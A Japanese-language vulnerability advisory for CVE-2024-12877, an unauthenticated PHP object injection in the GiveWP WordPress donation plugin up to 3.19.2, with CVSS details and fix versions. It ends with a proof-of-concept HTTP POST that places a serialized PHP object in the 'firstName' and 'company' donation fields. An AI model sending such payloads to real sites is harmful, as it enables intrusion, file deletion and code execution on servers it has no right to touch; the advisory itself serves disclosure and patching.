CVE-2024-12877

GiveWP – Donation Plugin and Fundraising Platform <= 3.19.2 - 認証なしPHPオブジェクトインジェクション

説明

WordPress用プラグイン「GiveWP – Donation Plugin and Fundraising Platform」は、3.19.2までの全バージョンにおいて、寄付フォームからの 'firstName' のような信頼できない入力のデシリアライゼーションを介して、PHPオブジェクトインジェクションに対して脆弱です。これにより、認証されていない攻撃者がPHPオブジェクトを注入することが可能になります。さらにPOPチェーンが存在するため、攻撃者はサーバー上の任意のファイルを削除することができ、これによりリモートコード実行が可能になります。なお、この脆弱性は3.19.3で部分的にしか修正されておらず、完全な修正がリリースされたのは3.19.4です。ただし、別のCNAがバージョン3.19.3に対して別のCVEを割り当てているため、本CVEは3.19.2以前に影響するものとして扱います。今後デシリアライゼーションの脆弱性が存在しないようにするため、ベンダーにはJSONエンコーディングの使用を推奨しています。

詳細

• タイプ: プラグイン
• スラッグ: give
• 影響を受けるバージョン: 3.19.2
• CVSSスコア: 9.8
• CVSS評価: 緊急
• CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12877
• ステータス: アクティブ

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=O:20:"PHP_Object_Injection":0:{}&[email protected]&donationType=single&donationBirthday=